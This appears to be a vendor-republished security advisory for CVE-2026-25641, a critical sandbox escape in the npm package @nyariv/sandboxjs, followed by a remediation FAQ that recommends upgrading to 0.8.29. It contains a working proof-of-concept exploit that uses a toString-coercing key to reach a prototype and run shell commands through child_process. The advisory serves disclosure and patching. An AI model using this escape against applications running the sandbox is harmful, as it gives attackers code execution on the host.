CVE-2026-25641

A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.

Details

Even though the key used in property accesses (b in the code below) is annotated as string, this is never enforced:
https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304
So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using hasOwnProperty(key) and a different one for when the key is used for the actual property access.

PoC

const Sandbox = require('@nyariv/sandboxjs').default;

const code = `
let a = new Map;
a.x = 23;
let count = 0;

let nastyProp = {toString: () => {if (count<1){count++;return "x"} else return "__proto__"}}
let mapProt = a[nastyProp];
mapProt.has = isFinite;
console.log(
  isFinite.constructor(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);`;
const scope = {};
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
exec(scope).run(); 

Remote code execution, if attacker can execute code inside the sandbox.

CVE-2026-25641 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.8.29); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-25641? CVE-2026-25641 is a critical-severity security vulnerability in @nyariv/sandboxjs (npm), affecting versions <= 0.8.28. It is fixed in 0.8.29.
2. How severe is CVE-2026-25641? CVE-2026-25641 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @nyariv/sandboxjs are affected by CVE-2026-25641? @nyariv/sandboxjs (npm) versions <= 0.8.28 is affected.
4. Is there a fix for CVE-2026-25641? Yes. CVE-2026-25641 is fixed in 0.8.29. Upgrade to this version or later.
5. Is CVE-2026-25641 exploitable, and should I be worried? Whether CVE-2026-25641 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-25641 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-25641? Upgrade @nyariv/sandboxjs to 0.8.29 or later.